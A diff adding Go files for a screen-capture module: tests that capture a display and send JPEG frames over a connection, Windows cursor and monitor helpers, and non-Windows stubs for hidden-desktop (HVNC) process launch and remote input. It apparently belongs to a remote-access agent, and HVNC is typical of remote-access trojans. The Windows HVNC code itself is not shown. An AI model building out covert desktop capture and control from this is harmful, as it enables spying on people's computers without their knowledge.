captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
|
||||
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
|
||||
|
||||
img.Set(0, 0, color.RGBA{R: 200, G: 10, B: 10, A: 255})
|
||||
return img, nil
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
activeDisplays = originalCount
|
||||
captureDisplayFn = originalCapture
|
||||
})
|
||||
|
||||
writer := &recordingWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
if err := CaptureAndSend(context.Background(), env); err != nil {
|
||||
t.Fatalf("CaptureAndSend returned error: %v", err)
|
||||
}
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("expected one message written, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var frame wire.Frame
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
|
||||
t.Fatalf("decode frame: %v", err)
|
||||
}
|
||||
if frame.Type != "frame" {
|
||||
t.Fatalf("unexpected frame type: %s", frame.Type)
|
||||
}
|
||||
if frame.Header.Format != "jpeg" {
|
||||
t.Fatalf("unexpected frame format: %s", frame.Header.Format)
|
||||
}
|
||||
if len(frame.Data) == 0 {
|
||||
t.Fatalf("expected jpeg data to be present")
|
||||
}
|
||||
|
||||
if _, err := jpeg.Decode(bytes.NewReader(frame.Data)); err != nil {
|
||||
t.Fatalf("jpeg payload did not decode: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestActualScreenCapture(t *testing.T) {
|
||||
displayCount := safeDisplayCount()
|
||||
if displayCount == 0 {
|
||||
t.Log("WARNING: No displays detected, skipping real screen capture test")
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("Testing screen capture with %d display(s)", displayCount)
|
||||
|
||||
img, err := safeCaptureDisplay(0)
|
||||
if err != nil {
|
||||
t.Logf("WARNING: Failed to capture display 0: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if img == nil {
|
||||
t.Log("WARNING: Capture returned nil image")
|
||||
return
|
||||
}
|
||||
|
||||
bounds := img.Bounds()
|
||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||
t.Errorf("Invalid image dimensions: %dx%d", bounds.Dx(), bounds.Dy())
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("Successfully captured %dx%d image from display 0", bounds.Dx(), bounds.Dy())
|
||||
|
||||
hasVariation := false
|
||||
firstPixel := img.RGBAAt(0, 0)
|
||||
for y := 0; y < bounds.Dy() && !hasVariation; y++ {
|
||||
for x := 0; x < bounds.Dx(); x++ {
|
||||
pixel := img.RGBAAt(x, y)
|
||||
if pixel != firstPixel {
|
||||
hasVariation = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !hasVariation {
|
||||
t.Log("WARNING: Captured image appears to be solid color (may indicate capture issue)")
|
||||
}
|
||||
|
||||
quality := jpegQuality()
|
||||
frame, encodeDur, err := buildFrame(img, 0, quality)
|
||||
if err != nil {
|
||||
t.Errorf("Failed to build frame from captured image: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("Encoded frame: size=%d bytes, encode_time=%s, format=%s",
|
||||
len(frame.Data), encodeDur, frame.Header.Format)
|
||||
|
||||
decodedImg, err := jpeg.Decode(bytes.NewReader(frame.Data))
|
||||
if err != nil {
|
||||
t.Errorf("Failed to decode JPEG frame: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if decodedImg.Bounds().Dx() <= 0 || decodedImg.Bounds().Dy() <= 0 {
|
||||
t.Errorf("Decoded image has invalid dimensions: %dx%d",
|
||||
decodedImg.Bounds().Dx(), decodedImg.Bounds().Dy())
|
||||
}
|
||||
}
|
||||
|
||||
func TestMultipleDisplays(t *testing.T) {
|
||||
displayCount := safeDisplayCount()
|
||||
if displayCount == 0 {
|
||||
t.Log("WARNING: No displays detected, skipping multi-display test")
|
||||
return
|
||||
}
|
||||
|
||||
if displayCount == 1 {
|
||||
t.Log("Only one display detected, testing single display")
|
||||
}
|
||||
|
||||
for i := 0; i < displayCount; i++ {
|
||||
t.Run("Display"+string(rune('0'+i)), func(t *testing.T) {
|
||||
img, err := safeCaptureDisplay(i)
|
||||
if err != nil {
|
||||
t.Logf("WARNING: Failed to capture display %d: %v", i, err)
|
||||
return
|
||||
}
|
||||
|
||||
if img == nil {
|
||||
t.Logf("WARNING: Capture returned nil for display %d", i)
|
||||
return
|
||||
}
|
||||
|
||||
bounds := img.Bounds()
|
||||
t.Logf("Display %d: %dx%d", i, bounds.Dx(), bounds.Dy())
|
||||
|
||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||
t.Errorf("Display %d has invalid dimensions", i)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSupportsCapture(t *testing.T) {
|
||||
hasDisplays := supportsCapture()
|
||||
displayCount := safeDisplayCount()
|
||||
|
||||
if hasDisplays && displayCount == 0 {
|
||||
t.Error("supportsCapture returned true but displayCount is 0")
|
||||
}
|
||||
|
||||
if !hasDisplays && displayCount > 0 {
|
||||
t.Error("supportsCapture returned false but displayCount > 0")
|
||||
}
|
||||
|
||||
t.Logf("Capture support: %v (displays: %d)", hasDisplays, displayCount)
|
||||
}
|
||||
|
||||
func TestCaptureWithDifferentDisplayIndices(t *testing.T) {
|
||||
displayCount := safeDisplayCount()
|
||||
if displayCount == 0 {
|
||||
t.Skip("No displays available")
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
index int
|
||||
valid bool
|
||||
}{
|
||||
{"ValidFirst", 0, true},
|
||||
{"ValidLast", displayCount - 1, true},
|
||||
{"InvalidNegative", -1, false},
|
||||
{"InvalidTooHigh", displayCount + 10, false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
img, err := safeCaptureDisplay(tt.index)
|
||||
|
||||
if tt.valid {
|
||||
if err != nil {
|
||||
t.Errorf("Expected valid capture, got error: %v", err)
|
||||
}
|
||||
if img == nil {
|
||||
t.Error("Expected image, got nil")
|
||||
}
|
||||
} else {
|
||||
|
||||
if img != nil && err == nil {
|
||||
t.Logf("WARNING: Invalid index %d returned image instead of error", tt.index)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestFrameFPS(t *testing.T) {
|
||||
|
||||
resetStats()
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
statFrames.Add(1)
|
||||
}
|
||||
|
||||
fps := frameFPS(time.Now())
|
||||
if fps < 0 {
|
||||
t.Errorf("FPS should not be negative, got %d", fps)
|
||||
}
|
||||
|
||||
t.Logf("Calculated FPS: %d", fps)
|
||||
}
|
||||
|
||||
func TestJPEGQuality(t *testing.T) {
|
||||
quality := jpegQuality()
|
||||
if quality < 1 || quality > 100 {
|
||||
t.Errorf("JPEG quality out of range: %d (expected 1-100)", quality)
|
||||
}
|
||||
t.Logf("JPEG quality: %d", quality)
|
||||
}
|
||||
|
||||
func TestCaptureAndSend_DisplayOutOfRange(t *testing.T) {
|
||||
originalCount := activeDisplays
|
||||
originalCapture := captureDisplayFn
|
||||
activeDisplays = func() int { return 2 }
|
||||
capturedDisplay := -1
|
||||
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
|
||||
capturedDisplay = displayIndex
|
||||
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
|
||||
return img, nil
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
activeDisplays = originalCount
|
||||
captureDisplayFn = originalCapture
|
||||
})
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
selectedDisplay int
|
||||
expectedDisplay int
|
||||
}{
|
||||
{"NegativeDisplay", -1, 0},
|
||||
{"TooHighDisplay", 10, 0},
|
||||
{"ValidDisplay", 1, 1},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
capturedDisplay = -1
|
||||
writer := &recordingWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
SelectedDisplay: tt.selectedDisplay,
|
||||
}
|
||||
|
||||
if err := CaptureAndSend(context.Background(), env); err != nil {
|
||||
t.Fatalf("CaptureAndSend failed: %v", err)
|
||||
}
|
||||
|
||||
if capturedDisplay != tt.expectedDisplay {
|
||||
t.Errorf("expected capture from display %d, got %d", tt.expectedDisplay, capturedDisplay)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Errorf("expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNow_DisableCapture(t *testing.T) {
|
||||
writer := &recordingWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{DisableCapture: true},
|
||||
}
|
||||
|
||||
if err := Now(context.Background(), env); err != nil {
|
||||
t.Fatalf("Now with DisableCapture failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("expected 1 black frame message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var frame wire.Frame
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
|
||||
t.Fatalf("failed to decode frame: %v", err)
|
||||
}
|
||||
|
||||
if frame.Type != "frame" {
|
||||
t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
|
||||
}
|
||||
|
||||
img, err := jpeg.Decode(bytes.NewReader(frame.Data))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to decode JPEG: %v", err)
|
||||
}
|
||||
|
||||
bounds := img.Bounds()
|
||||
if bounds.Dx() != 64 || bounds.Dy() != 64 {
|
||||
t.Errorf("expected 64x64 black frame, got %dx%d", bounds.Dx(), bounds.Dy())
|
||||
}
|
||||
}
|
||||
|
||||
func TestNow_NoDisplays(t *testing.T) {
|
||||
originalCount := activeDisplays
|
||||
activeDisplays = func() int { return 0 }
|
||||
t.Cleanup(func() { activeDisplays = originalCount })
|
||||
|
||||
writer := &recordingWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
|
||||
if err := Now(context.Background(), env); err != nil {
|
||||
t.Fatalf("Now with no displays failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 0 {
|
||||
t.Errorf("expected no messages when no displays, got %d", len(writer.msgs))
|
||||
}
|
||||
}
|
||||
|
||||
func TestNow_Success(t *testing.T) {
|
||||
originalCount := activeDisplays
|
||||
originalCapture := captureDisplayFn
|
||||
activeDisplays = func() int { return 1 }
|
||||
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
|
||||
img := image.NewRGBA(image.Rect(0, 0, 4, 4))
|
||||
return img, nil
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
activeDisplays = originalCount
|
||||
captureDisplayFn = originalCapture
|
||||
})
|
||||
|
||||
writer := &recordingWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
|
||||
if err := Now(context.Background(), env); err != nil {
|
||||
t.Fatalf("Now failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var frame wire.Frame
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
|
||||
t.Fatalf("failed to decode frame: %v", err)
|
||||
}
|
||||
|
||||
if frame.Type != "frame" {
|
||||
t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitorCount(t *testing.T) {
|
||||
count := MonitorCount()
|
||||
|
||||
// no monitor means weird
|
||||
if count < 1 {
|
||||
t.Errorf("expected at least 1, got %d", count)
|
||||
}
|
||||
|
||||
t.Logf("MonitorCount returned: %d", count)
|
||||
}
|
||||
|
||||
func TestCaptureAndSend_CancelledContext(t *testing.T) {
|
||||
originalCount := activeDisplays
|
||||
originalCapture := captureDisplayFn
|
||||
activeDisplays = func() int { return 1 }
|
||||
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
|
||||
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
|
||||
return img, nil
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
activeDisplays = originalCount
|
||||
captureDisplayFn = originalCapture
|
||||
})
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // fuck no
|
||||
|
||||
writer := &recordingWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
|
||||
// SHOULD handle gracefully, may or may not send depending on timing :sob:
|
||||
_ = CaptureAndSend(ctx, env)
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build !linux && !windows
|
||||
|
||||
package capture
|
||||
|
||||
import "github.com/kbinani/screenshot"
|
||||
|
||||
var (
|
||||
activeDisplays = screenshot.NumActiveDisplays
|
||||
captureDisplayFn = screenshot.CaptureDisplay
|
||||
)
|
||||
|
||||
func displayCount() int {
|
||||
return screenshot.NumActiveDisplays()
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
var activeDisplays = displayCount
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
)
|
||||
|
||||
func SetCursorCapture(enabled bool) {}
|
||||
|
||||
func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
|
||||
// if you're not windows fuck you
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/color"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
cursorCaptureEnabled atomic.Bool
|
||||
)
|
||||
|
||||
func SetCursorCapture(enabled bool) {
|
||||
cursorCaptureEnabled.Store(enabled)
|
||||
}
|
||||
|
||||
var (
|
||||
procGetCursorPos = user32.NewProc("GetCursorPos")
|
||||
procGetCursorInfo = user32.NewProc("GetCursorInfo")
|
||||
procGetIconInfo = user32.NewProc("GetIconInfo")
|
||||
procDrawIconEx = user32.NewProc("DrawIconEx")
|
||||
)
|
||||
|
||||
const (
|
||||
CURSOR_SHOWING = 0x00000001
|
||||
DI_NORMAL = 0x0003
|
||||
DI_DEFAULTSIZE = 0x0008
|
||||
)
|
||||
|
||||
type point struct {
|
||||
x int32
|
||||
y int32
|
||||
}
|
||||
|
||||
type cursorInfo struct {
|
||||
cbSize uint32
|
||||
flags uint32
|
||||
hCursor uintptr
|
||||
ptScreenPos point
|
||||
}
|
||||
|
||||
type iconInfo struct {
|
||||
fIcon uint32
|
||||
xHotspot uint32
|
||||
yHotspot uint32
|
||||
hbmMask uintptr
|
||||
hbmColor uintptr
|
||||
}
|
||||
|
||||
func getCursorPosition() (x, y int32, visible bool) {
|
||||
var ci cursorInfo
|
||||
ci.cbSize = uint32(unsafe.Sizeof(ci))
|
||||
|
||||
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
|
||||
if ret == 0 {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
visible = (ci.flags & CURSOR_SHOWING) != 0
|
||||
return ci.ptScreenPos.x, ci.ptScreenPos.y, visible
|
||||
}
|
||||
|
||||
func drawCursor(img *image.RGBA, cursorX, cursorY int32, bounds image.Rectangle) {
|
||||
imgX := int(cursorX) - bounds.Min.X
|
||||
imgY := int(cursorY) - bounds.Min.Y
|
||||
|
||||
if imgX < 0 || imgY < 0 || imgX >= img.Bounds().Dx() || imgY >= img.Bounds().Dy() {
|
||||
return
|
||||
}
|
||||
|
||||
cursorPattern := []struct {
|
||||
x, y int
|
||||
c color.RGBA
|
||||
}{
|
||||
{0, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 1, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 2, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 3, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 4, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 5, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 6, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 7, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 8, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 9, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 10, color.RGBA{0, 0, 0, 255}},
|
||||
{0, 11, color.RGBA{0, 0, 0, 255}},
|
||||
{1, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{1, 10, color.RGBA{0, 0, 0, 255}},
|
||||
{2, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{2, 9, color.RGBA{0, 0, 0, 255}},
|
||||
{3, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{3, 8, color.RGBA{0, 0, 0, 255}},
|
||||
{3, 9, color.RGBA{0, 0, 0, 255}},
|
||||
{4, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{4, 7, color.RGBA{0, 0, 0, 255}},
|
||||
{4, 8, color.RGBA{0, 0, 0, 255}},
|
||||
{5, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{5, 6, color.RGBA{0, 0, 0, 255}},
|
||||
{5, 7, color.RGBA{0, 0, 0, 255}},
|
||||
{5, 13, color.RGBA{0, 0, 0, 255}},
|
||||
{6, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{6, 5, color.RGBA{0, 0, 0, 255}},
|
||||
{6, 6, color.RGBA{0, 0, 0, 255}},
|
||||
{6, 12, color.RGBA{0, 0, 0, 255}},
|
||||
{6, 13, color.RGBA{0, 0, 0, 255}},
|
||||
{7, 0, color.RGBA{0, 0, 0, 255}},
|
||||
{7, 4, color.RGBA{0, 0, 0, 255}},
|
||||
{7, 5, color.RGBA{0, 0, 0, 255}},
|
||||
{7, 11, color.RGBA{0, 0, 0, 255}},
|
||||
{7, 12, color.RGBA{0, 0, 0, 255}},
|
||||
{8, 4, color.RGBA{0, 0, 0, 255}},
|
||||
{8, 10, color.RGBA{0, 0, 0, 255}},
|
||||
{8, 11, color.RGBA{0, 0, 0, 255}},
|
||||
{9, 4, color.RGBA{0, 0, 0, 255}},
|
||||
{9, 9, color.RGBA{0, 0, 0, 255}},
|
||||
{9, 10, color.RGBA{0, 0, 0, 255}},
|
||||
{10, 8, color.RGBA{0, 0, 0, 255}},
|
||||
{10, 9, color.RGBA{0, 0, 0, 255}},
|
||||
{11, 7, color.RGBA{0, 0, 0, 255}},
|
||||
{11, 8, color.RGBA{0, 0, 0, 255}},
|
||||
{12, 6, color.RGBA{0, 0, 0, 255}},
|
||||
{12, 7, color.RGBA{0, 0, 0, 255}},
|
||||
|
||||
{1, 1, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 2, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 3, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 4, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 5, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 6, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 7, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 8, color.RGBA{255, 255, 255, 255}},
|
||||
{1, 9, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 1, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 2, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 3, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 4, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 5, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 6, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 7, color.RGBA{255, 255, 255, 255}},
|
||||
{2, 8, color.RGBA{255, 255, 255, 255}},
|
||||
{3, 1, color.RGBA{255, 255, 255, 255}},
|
||||
{3, 2, color.RGBA{255, 255, 255, 255}},
|
||||
{3, 3, color.RGBA{255, 255, 255, 255}},
|
||||
{3, 4, color.RGBA{255, 255, 255, 255}},
|
||||
{3, 5, color.RGBA{255, 255, 255, 255}},
|
||||
{3, 6, color.RGBA{255, 255, 255, 255}},
|
||||
{3, 7, color.RGBA{255, 255, 255, 255}},
|
||||
{4, 1, color.RGBA{255, 255, 255, 255}},
|
||||
{4, 2, color.RGBA{255, 255, 255, 255}},
|
||||
{4, 3, color.RGBA{255, 255, 255, 255}},
|
||||
{4, 4, color.RGBA{255, 255, 255, 255}},
|
||||
{4, 5, color.RGBA{255, 255, 255, 255}},
|
||||
{4, 6, color.RGBA{255, 255, 255, 255}},
|
||||
{5, 1, color.RGBA{255, 255, 255, 255}},
|
||||
{5, 2, color.RGBA{255, 255, 255, 255}},
|
||||
{5, 3, color.RGBA{255, 255, 255, 255}},
|
||||
{5, 4, color.RGBA{255, 255, 255, 255}},
|
||||
{5, 5, color.RGBA{255, 255, 255, 255}},
|
||||
{5, 11, color.RGBA{255, 255, 255, 255}},
|
||||
{5, 12, color.RGBA{255, 255, 255, 255}},
|
||||
{6, 1, color.RGBA{255, 255, 255, 255}},
|
||||
{6, 2, color.RGBA{255, 255, 255, 255}},
|
||||
{6, 3, color.RGBA{255, 255, 255, 255}},
|
||||
{6, 4, color.RGBA{255, 255, 255, 255}},
|
||||
{6, 10, color.RGBA{255, 255, 255, 255}},
|
||||
{6, 11, color.RGBA{255, 255, 255, 255}},
|
||||
{7, 1, color.RGBA{255, 255, 255, 255}},
|
||||
{7, 2, color.RGBA{255, 255, 255, 255}},
|
||||
{7, 3, color.RGBA{255, 255, 255, 255}},
|
||||
{7, 9, color.RGBA{255, 255, 255, 255}},
|
||||
{7, 10, color.RGBA{255, 255, 255, 255}},
|
||||
{8, 5, color.RGBA{255, 255, 255, 255}},
|
||||
{8, 6, color.RGBA{255, 255, 255, 255}},
|
||||
{8, 7, color.RGBA{255, 255, 255, 255}},
|
||||
{8, 8, color.RGBA{255, 255, 255, 255}},
|
||||
{8, 9, color.RGBA{255, 255, 255, 255}},
|
||||
{9, 5, color.RGBA{255, 255, 255, 255}},
|
||||
{9, 6, color.RGBA{255, 255, 255, 255}},
|
||||
{9, 7, color.RGBA{255, 255, 255, 255}},
|
||||
{9, 8, color.RGBA{255, 255, 255, 255}},
|
||||
{10, 6, color.RGBA{255, 255, 255, 255}},
|
||||
{10, 7, color.RGBA{255, 255, 255, 255}},
|
||||
{11, 6, color.RGBA{255, 255, 255, 255}},
|
||||
}
|
||||
|
||||
for _, p := range cursorPattern {
|
||||
px := imgX + p.x
|
||||
py := imgY + p.y
|
||||
if px >= 0 && px < img.Bounds().Dx() && py >= 0 && py < img.Bounds().Dy() {
|
||||
img.SetRGBA(px, py, p.c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func DrawCursorOnDC(hdc uintptr, captureBounds image.Rectangle) bool {
|
||||
if !cursorCaptureEnabled.Load() || hdc == 0 {
|
||||
return false
|
||||
}
|
||||
var ci cursorInfo
|
||||
ci.cbSize = uint32(unsafe.Sizeof(ci))
|
||||
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
|
||||
if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 {
|
||||
return false
|
||||
}
|
||||
var icon iconInfo
|
||||
ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon)))
|
||||
if ret == 0 {
|
||||
return false
|
||||
}
|
||||
if icon.hbmMask != 0 {
|
||||
defer deleteObject(icon.hbmMask)
|
||||
}
|
||||
if icon.hbmColor != 0 {
|
||||
defer deleteObject(icon.hbmColor)
|
||||
}
|
||||
|
||||
x := int32(ci.ptScreenPos.x) - int32(captureBounds.Min.X) - int32(icon.xHotspot)
|
||||
y := int32(ci.ptScreenPos.y) - int32(captureBounds.Min.Y) - int32(icon.yHotspot)
|
||||
ret, _, _ = procDrawIconEx.Call(
|
||||
hdc,
|
||||
uintptr(x),
|
||||
uintptr(y),
|
||||
ci.hCursor,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
uintptr(DI_NORMAL),
|
||||
)
|
||||
return ret != 0
|
||||
}
|
||||
|
||||
func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
|
||||
if !cursorCaptureEnabled.Load() {
|
||||
return
|
||||
}
|
||||
|
||||
x, y, visible := getCursorPosition()
|
||||
if visible {
|
||||
drawCursor(img, x, y, captureBounds)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
func SetDesktopDuplication(enabled bool) {}
|
||||
@@ -0,0 +1,52 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"image"
|
||||
)
|
||||
|
||||
func InitializeHVNCDesktop() error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func CleanupHVNCDesktop() {}
|
||||
|
||||
func SetHVNCCursorCapture(enabled bool) {}
|
||||
|
||||
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return nil, errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCMonitorCount() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
func StartHVNCProcess(filePath string) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseMove(display int, x, y int32) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseDown(button int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseUp(button int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputKeyDown(vk uint16) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputKeyUp(vk uint16) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseWheel(delta int32) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,16 @@
|
||||
package capture
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"image"
|
||||
"image/jpeg"
|
||||
)
|
||||
|
||||
func encodeJPEG(img image.Image, quality int) ([]byte, error) {
|
||||
buf := bytes.Buffer{}
|
||||
err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
//go:build turbojpeg
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"image"
|
||||
|
||||
ljpeg "github.com/pixiv/go-libjpeg/jpeg"
|
||||
)
|
||||
|
||||
func encodeJPEG(img image.Image, quality int) ([]byte, error) {
|
||||
opts := &ljpeg.EncoderOptions{
|
||||
Quality: quality,
|
||||
OptimizeCoding: true,
|
||||
DCTMethod: ljpeg.DCTISlow,
|
||||
}
|
||||
buf := bytes.Buffer{}
|
||||
if err := ljpeg.Encode(&buf, img, opts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package capture
|
||||
|
||||
import "image"
|
||||
|
||||
type MonitorInfo struct {
|
||||
Width int `msgpack:"width"`
|
||||
Height int `msgpack:"height"`
|
||||
}
|
||||
|
||||
func DisplayBounds(idx int) image.Rectangle {
|
||||
return displayBounds(idx)
|
||||
}
|
||||
|
||||
func DisplayScale(idx int) float64 {
|
||||
return displayScale(idx)
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
func ResetMonitorCache() {}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import "image"
|
||||
|
||||
func displayBounds(idx int) image.Rectangle {
|
||||
return image.Rectangle{}
|
||||
}
|
||||
|
||||
func displayScale(idx int) float64 {
|
||||
return 1.0
|
||||
}
|
||||
|
||||
func MonitorInfos() []MonitorInfo {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
"log"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
|
||||
procGetMonitorInfoW = user32.NewProc("GetMonitorInfoW")
|
||||
procEnumDisplaySettingsW = user32.NewProc("EnumDisplaySettingsW")
|
||||
)
|
||||
|
||||
type rect struct {
|
||||
left int32
|
||||
top int32
|
||||
right int32
|
||||
bottom int32
|
||||
}
|
||||
|
||||
type monitorInfoEx struct {
|
||||
cbSize uint32
|
||||
rcMonitor rect
|
||||
rcWork rect
|
||||
dwFlags uint32
|
||||
szDevice [32]uint16
|
||||
}
|
||||
|
||||
type devMode struct {
|
||||
dmDeviceName [32]uint16
|
||||
dmSpecVersion uint16
|
||||
dmDriverVersion uint16
|
||||
dmSize uint16
|
||||
dmDriverExtra uint16
|
||||
dmFields uint32
|
||||
dmPositionX int32
|
||||
dmPositionY int32
|
||||
dmDisplayOrientation uint32
|
||||
dmDisplayFixedOutput uint32
|
||||
